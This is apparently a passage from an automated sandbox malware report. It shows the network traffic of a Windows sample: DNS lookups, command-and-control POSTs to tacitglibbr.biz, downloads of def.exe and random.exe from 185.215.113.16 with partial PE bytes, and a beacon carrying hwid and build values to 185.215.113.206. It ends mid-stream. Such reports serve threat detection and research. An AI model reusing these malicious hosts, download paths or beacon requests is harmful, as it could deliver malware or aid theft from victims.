Dec 16, 2024 15:25:39.607502937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.607502937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.607842922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.607876062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.607912064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.607942104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:39.608001947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.608001947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:39.758524895 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:42.480206013 CET	49766	80	192.168.2.5	185.215.113.206
Dec 16, 2024 15:25:42.600363970 CET	80	49766	185.215.113.206	192.168.2.5
Dec 16, 2024 15:25:42.600519896 CET	49766	80	192.168.2.5	185.215.113.206
Dec 16, 2024 15:25:42.620417118 CET	49766	80	192.168.2.5	185.215.113.206
Dec 16, 2024 15:25:42.740765095 CET	80	49766	185.215.113.206	192.168.2.5
Dec 16, 2024 15:25:43.953349113 CET	80	49766	185.215.113.206	192.168.2.5
Dec 16, 2024 15:25:43.953471899 CET	49766	80	192.168.2.5	185.215.113.206
Dec 16, 2024 15:25:43.958462000 CET	49766	80	192.168.2.5	185.215.113.206
Dec 16, 2024 15:25:44.079792023 CET	80	49766	185.215.113.206	192.168.2.5
Dec 16, 2024 15:25:44.411293030 CET	80	49766	185.215.113.206	192.168.2.5
Dec 16, 2024 15:25:44.411386013 CET	49766	80	192.168.2.5	185.215.113.206
Dec 16, 2024 15:25:46.850545883 CET	49766	80	192.168.2.5	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:25:08.045223951 CET	55753	53	192.168.2.5	1.1.1.1
Dec 16, 2024 15:25:08.271559000 CET	53	55753	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 15:25:08.045223951 CET	192.168.2.5	1.1.1.1	0x4061	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 15:25:08.271559000 CET	1.1.1.1	192.168.2.5	0x4061	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:25:08.271559000 CET	1.1.1.1	192.168.2.5	0x4061	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tacitglibbr.biz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49742	185.215.113.16	80	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:25:30.235948086 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:25:31.578147888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:25:30 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:20 GMT Connection: keep-alive ETag: "67602e3c-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:25:31.578171015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:25:31.578186035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:25:31.578247070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:25:31.578262091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:25:31.578277111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:25:31.578294039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:25:31.578525066 CET	1236	IN	Data Raw: bc f4 4b 71 94 51 4d 36 1d 40 4b ae 0d 76 a8 60 b9 8d b2 50 7a 2b 9f 10 49 06 81 2f e3 8b 11 46 75 78 f7 d4 de 69 d2 90 c5 c1 88 66 ee 2f 3d 31 2a 07 6d 60 66 fa 3f 2c 1c 29 4a 2a 2c ff 03 43 2e f2 5c 70 94 fd 58 88 78 16 6c 26 0a 10 4a c1 56 d9 Data Ascii: KqQM6@Kv`Pz+I/Fuxif/=1m`f?,)J,C.\pXxl&JVZUD0W[wC9LA2 \?1%R4I^AH`mVd-@w; yXK4[tj+at&+$~B/j<(b;2>Dr?P)w=/SSH1yjNSC_V
Dec 16, 2024 15:25:31.578541040 CET	1236	IN	Data Raw: a8 f5 62 86 d0 f5 66 52 b9 e0 eb 66 13 18 61 df 5a 20 5d 6a 8c 2b 7f 4f 4a 7d 87 76 30 38 57 71 5a 20 97 50 bc 58 9b 73 c1 eb d8 ee 30 f5 a2 70 5a 54 63 9e 8c 3c b3 64 7e 91 bd aa 58 18 bf 47 8a 19 f7 ca 13 74 50 f8 30 78 6f 71 9a 09 d7 be a2 b0 Data Ascii: bfRfaZ ]j+OJ}v08WqZ PXs0pZTc<d~XGtP0xoqGr+qn"OL}L[ QXs&wj'0t/`B7Ame04: LI(\mLYaj#qqGC4ixqtyx8GEI 5+k0@7sX1EQ+K1X
Dec 16, 2024 15:25:31.578556061 CET	1236	IN	Data Raw: 71 12 5c 77 86 30 63 43 6d 5d 13 71 25 dc 52 e5 1f eb 64 9e 60 05 87 17 15 4e 92 8f 7f d0 b8 14 77 1d 91 a1 1e 71 85 35 ab 4f 38 44 3a 0a 98 07 6b f8 b6 80 10 5b d4 92 2a e8 c0 92 7b 4b b3 cb a2 05 af 5f 2c 4f a7 79 21 c2 f7 71 98 a5 7c c2 dd de Data Ascii: q\w0cCm]q%Rd`Nwq5O8D:k[*{K_,Oy!q\|W@h/<Q3YJH<l7593Okk47qr"PIze=2-Msnb\|\F]M&\|-.POew.N}Tm[AYPa{I U?,$_E
Dec 16, 2024 15:25:31.701246977 CET	1236	IN	Data Raw: 19 3d 2c 1b 43 0c 42 4a 3e 90 48 35 f7 ec 84 51 0e 05 51 b1 0e 0c a3 3e 0b 22 2f 97 11 fd 2d 62 0e fc a8 7c 5b 09 f5 03 8e d1 3e a8 6f bb 60 df 59 b6 bb 75 71 5a 6b 2e 5a ea 54 85 78 49 af 7c 08 57 ad 73 7e 4b a4 1f db 15 4e 01 cb 5f b2 b3 7a d0 Data Ascii: =,CBJ>H5QQ>"/-b\|[>o`YuqZk.ZTxI\|Ws~KN_z@HiQNFQVxx`6rcdIes#kt[9*hdwLI_xa-rt_E_4A` 1FH09ks\|&<w?SIe 6A_ j,yvor\|\|]7JQ1n:~.kK
Dec 16, 2024 15:25:36.294235945 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:25:36.736082077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:25:36 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49766	185.215.113.206	80	2292	C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:25:42.620417118 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:25:43.953349113 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:25:43.958462000 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 37 37 33 38 33 46 31 32 36 34 34 30 32 32 33 39 31 37 38 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="hwid"6877383F12644022391788------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="build"stok------KJEHCGDBFCBAKECBKKEB--
Dec 16, 2024 15:25:44.411293030 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:09 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:25:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:25:10 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=os60ojc81jcr3cgr45f72m447b; expires=Fri, 11-Apr-2025 08:11:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=blGYhAQnmUnWZb90A8e%2BsZR5eAHhia90ReZ5jKmPkHo235%2FKQOFCza%2Fz%2B9wYVOKd%2BXZgBOUfBvLC40sDYTafxq1Ykf0uMPkcm3ECFhvJ45fdZfFTB0n29oSkEzcsDBK2UfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f5754ec234374-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2046&min_rtt=2037&rtt_var=782&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1384542&cwnd=218&unsent_bytes=0&cid=879ab31835cca5e5&ts=810&x=0"
2024-12-16 14:25:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:25:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.50.161	443	5664	C:\Users\user\Desktop\qvkwOs4JfC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:25:11 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:25:11 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 14:25:12 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:25:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=88hc2ncqtah1673t2688ad4vd4; expires=Fri, 11-Apr-2025 08:11:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xcUcPBlcGlIMpNTLu0Ex38xWfw8bAQ2ruuWGikCA1sg8b8LS15Bv3RUhoX4upAMJM7r0s0bU4eJfRT9xqNhfmyV6WHwt1GpBOfpeLDGjLdJiTOoS7DvAkQ0D4HB8hMqo0TY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f5761aea742ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2140&min_rtt=2125&rtt_var=808&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=946&delivery_rate=1374117&cwnd=242&unsent_bytes=0&cid=784168b5d4e2775c&ts=768&x=0"
2024-12-16 14:25:12 UTC	364	IN	Data Raw: 34 39 31 63 0d 0a 50 43 76 77 4d 75 4b 64 45 39 50 74 66 38 7a 6a 50 36 4a 2f 67 37 4c 63 4f 53 45 41 78 70 61 5a 37 73 31 7a 35 4d 61 47 64 2f 4e 48 43 59 59 51 32 4b 6b 2f 38 5a 34 61 37 74 6c 4c 30 41 72 6d 6e 76 35 59 52 53 4c 38 38 50 69 43 76 68 62 49 35 50 41 61 30 51 5a 4e 6b 56 36 52 2b 44 2f 78 69 41 66 75 32 57 54 5a 58 65 62 63 2f 67 4d 44 5a 61 7a 30 2b 49 4b 76 45 6f 2b 70 39 68 75 51 56 45 65 58 57 6f 66 2b 64 37 4b 42 45 71 6d 47 57 73 4d 56 37 64 75 78 55 55 77 69 36 72 54 38 6c 4f 39 4a 78 6f 76 6a 41 35 4a 78 53 6f 4e 5a 77 4f 41 2f 71 4d 38 61 6f 73 45 46 67 42 37 6d 30 4c 42 66 52 57 75 75 2f 76 47 4b 72 68 65 4f 74 75 38 52 6d 31 52 4a 6c 46 75 4e 39 32 4f 2f 69 78 57 69 67 46 44 44 58 61 2b 51 75 55 4d 44 4f 75 53 6e 79 59 2b 2b 41 Data Ascii: 491cPCvwMuKdE9Ptf8zjP6J/g7LcOSEAxpaZ7s1z5MaGd/NHCYYQ2Kk/8Z4a7tlL0Armnv5YRSL88PiCvhbI5PAa0QZNkV6R+D/xiAfu2WTZXebc/gMDZaz0+IKvEo+p9huQVEeXWof+d7KBEqmGWsMV7duxUUwi6rT8lO9JxovjA5JxSoNZwOA/qM8aosEFgB7m0LBfRWuu/vGKrheOtu8Rm1RJlFuN92O/ixWigFDDXa+QuUMDOuSnyY++A
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 2f 4c 46 4f 7a 64 76 6c 5a 4a 62 61 66 30 2f 49 61 6c 48 6f 79 67 36 52 69 58 58 6b 6e 53 48 73 44 34 61 66 48 58 58 59 32 45 54 63 63 52 39 35 4b 45 47 31 77 73 76 62 54 38 67 4f 39 4a 78 71 7a 68 46 70 4a 56 52 70 46 59 69 2b 31 78 6f 34 6b 51 71 35 4e 62 78 52 50 72 30 36 78 52 54 57 53 6e 2f 66 43 46 71 68 61 43 35 4b 70 56 6c 6b 59 4a 79 68 43 68 38 6e 71 39 68 51 71 75 77 55 4b 4f 42 4b 48 58 73 68 73 62 49 71 44 31 2f 34 32 72 48 34 69 67 36 42 4f 66 55 30 61 55 57 6f 44 34 65 37 6d 48 48 4b 4f 4b 55 73 41 59 37 4e 53 34 56 30 4a 6e 35 4c 71 37 69 37 64 52 33 75 54 4b 45 70 4a 4d 43 36 64 54 6a 76 46 32 70 38 38 43 34 4a 67 64 78 78 47 68 69 50 35 56 52 6d 32 32 39 65 6d 4a 6f 51 4f 4b 6f 65 49 59 6b 6c 42 4a 6c 31 65 4e 38 58 65 32 6a 42 57 71 67 Data Ascii: /LFOzdvlZJbaf0/IalHoyg6RiXXknSHsD4afHXXY2ETccR95KEG1wsvbT8gO9JxqzhFpJVRpFYi+1xo4kQq5NbxRPr06xRTWSn/fCFqhaC5KpVlkYJyhCh8nq9hQquwUKOBKHXshsbIqD1/42rH4ig6BOfU0aUWoD4e7mHHKOKUsAY7NS4V0Jn5Lq7i7dR3uTKEpJMC6dTjvF2p88C4JgdxxGhiP5VRm229emJoQOKoeIYklBJl1eN8Xe2jBWqg
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 68 69 50 35 57 53 32 65 68 2b 2f 71 47 6f 52 53 4d 71 4f 77 62 6b 6b 78 47 6c 6c 43 4d 39 33 75 38 67 52 6d 6d 69 46 62 4c 47 2b 48 52 74 42 73 4e 49 71 50 73 75 39 54 76 4a 59 47 6f 36 52 72 54 61 30 71 63 58 6f 66 70 4d 61 37 42 42 4f 36 47 55 59 42 46 6f 64 79 33 57 30 68 6f 6f 50 54 38 67 61 6f 53 67 61 66 70 45 70 74 51 54 70 5a 63 69 66 4a 33 73 59 67 5a 71 35 4e 59 79 52 48 74 6b 50 41 62 52 48 72 6b 72 4c 75 6a 71 41 65 46 69 2b 63 45 6d 42 35 57 33 45 6e 41 2b 48 33 78 31 31 32 70 68 46 58 4c 47 2b 6e 51 72 46 35 4e 61 61 58 2b 2f 59 32 69 48 59 43 6b 35 52 57 58 55 6b 6d 56 56 35 4c 74 64 4c 65 64 46 2b 37 50 48 63 63 46 6f 59 6a 2b 62 56 4e 31 74 65 4b 35 75 61 77 66 69 4b 50 79 56 59 34 51 55 4e 4a 58 6a 4c 38 70 38 59 51 64 6f 6f 5a 56 78 68 Data Ascii: hiP5WS2eh+/qGoRSMqOwbkkxGllCM93u8gRmmiFbLG+HRtBsNIqPsu9TvJYGo6RrTa0qcXofpMa7BBO6GUYBFody3W0hooPT8gaoSgafpEptQTpZcifJ3sYgZq5NYyRHtkPAbRHrkrLujqAeFi+cEmB5W3EnA+H3x112phFXLG+nQrF5NaaX+/Y2iHYCk5RWXUkmVV5LtdLedF+7PHccFoYj+bVN1teK5uawfiKPyVY4QUNJXjL8p8YQdooZVxh
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 56 30 64 71 72 2f 36 37 77 75 38 57 6e 75 53 38 56 61 52 54 52 70 4a 54 6c 72 39 75 2f 35 5a 64 71 59 30 64 6d 46 33 74 33 72 35 55 54 32 36 76 2f 50 71 41 6f 52 61 44 72 65 77 64 67 31 39 4e 6d 6c 47 4f 38 48 43 31 69 68 69 71 68 6c 6e 47 45 71 47 65 2f 6c 78 62 49 76 79 30 31 4b 75 61 55 36 65 65 70 41 72 66 52 77 6d 56 58 4d 43 6e 4d 62 32 4d 45 61 61 4f 57 38 6b 52 36 39 6d 31 56 30 68 6d 71 50 33 2b 69 71 34 55 67 36 58 67 47 5a 74 59 53 70 46 66 6a 2f 42 35 38 63 46 64 71 5a 6b 64 6d 46 33 45 78 37 56 56 52 53 4b 37 75 75 4c 4d 71 42 33 47 2f 4b 51 5a 6d 46 68 50 6c 31 79 42 2b 58 6d 30 68 78 6d 76 68 31 76 44 45 75 58 56 76 31 52 48 62 71 72 2b 2b 6f 32 6a 47 6f 6d 76 34 56 58 66 48 6b 36 4b 45 4e 69 2f 51 4c 4b 5a 43 72 36 4e 48 64 39 54 2b 4a 43 Data Ascii: V0dqr/67wu8WnuS8VaRTRpJTlr9u/5ZdqY0dmF3t3r5UT26v/PqAoRaDrewdg19NmlGO8HC1ihiqhlnGEqGe/lxbIvy01KuaU6eepArfRwmVXMCnMb2MEaaOW8kR69m1V0hmqP3+iq4Ug6XgGZtYSpFfj/B58cFdqZkdmF3Ex7VVRSK7uuLMqB3G/KQZmFhPl1yB+Xm0hxmvh1vDEuXVv1RHbqr++o2jGomv4VXfHk6KENi/QLKZCr6NHd9T+JC
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 75 54 61 38 4a 2b 34 45 6f 69 76 38 67 37 52 51 51 65 4c 45 49 66 7a 4d 65 6e 50 48 71 57 4b 57 63 41 52 34 64 53 7a 57 31 46 74 6f 2f 50 79 68 37 30 62 67 61 50 76 48 5a 70 52 54 34 42 63 6a 75 31 30 6f 35 31 64 34 4d 46 61 32 46 32 35 6b 49 68 63 55 33 4b 6e 74 73 71 61 72 41 65 4e 71 65 68 56 6a 68 42 51 30 6c 65 4d 76 79 6e 78 69 52 4b 6e 67 6c 4c 42 46 4f 33 64 75 31 4a 47 59 36 4c 77 38 59 61 76 46 34 43 6c 34 52 2b 53 58 30 4f 62 56 34 6a 34 63 71 50 50 55 2b 36 47 52 59 42 46 6f 66 6d 35 53 55 31 79 35 4f 75 31 6c 65 38 57 69 75 53 38 56 5a 56 55 52 70 5a 58 6a 50 6c 30 74 34 49 63 6f 59 42 64 7a 78 6e 71 32 62 68 61 54 6d 65 70 38 4f 6d 47 70 42 36 4b 72 65 67 59 30 52 41 4a 6c 55 6a 41 70 7a 47 41 67 68 4f 67 68 6b 75 41 41 71 2f 4a 2f 6c 78 50 Data Ascii: uTa8J+4Eoiv8g7RQQeLEIfzMenPHqWKWcAR4dSzW1Fto/Pyh70bgaPvHZpRT4Bcju10o51d4MFa2F25kIhcU3KntsqarAeNqehVjhBQ0leMvynxiRKnglLBFO3du1JGY6Lw8YavF4Cl4R+SX0ObV4j4cqPPU+6GRYBFofm5SU1y5Ou1le8WiuS8VZVURpZXjPl0t4IcoYBdzxnq2bhaTmep8OmGpB6KregY0RAJlUjApzGAghOghkuAAq/J/lxP
2024-12-16 14:25:12 UTC	1369	IN	Data Raw: 43 41 76 52 69 47 70 2b 39 56 33 78 35 4f 69 68 44 59 76 31 4b 6d 6d 52 65 70 6a 55 76 4c 48 4f 4c 47 73 30 73 44 4c 4f 54 6c 2f 4a 33 76 53 5a 43 30 38 78 4b 4f 45 46 44 53 56 34 79 2f 4b 66 47 4a 46 4b 69 47 57 38 34 50 35 4e 61 78 56 45 70 72 6f 50 7a 34 6a 4b 73 56 67 61 48 6e 47 5a 70 5a 53 70 31 55 69 66 46 34 76 73 39 54 37 6f 5a 46 67 45 57 68 38 61 56 59 54 32 2f 6b 36 37 57 56 37 78 61 4b 35 4c 78 56 6e 56 42 4d 6b 6c 71 47 2b 33 53 33 68 52 69 75 69 6c 37 50 47 65 66 55 73 56 74 49 61 36 58 79 2f 6f 61 6b 46 34 75 6e 34 68 50 52 45 41 6d 56 53 4d 43 6e 4d 5a 47 55 45 4b 4b 47 48 64 39 54 2b 4a 43 35 56 77 4d 36 35 50 2f 33 69 4b 67 52 69 36 66 73 45 4a 56 55 54 4a 4a 59 6b 76 64 78 74 70 30 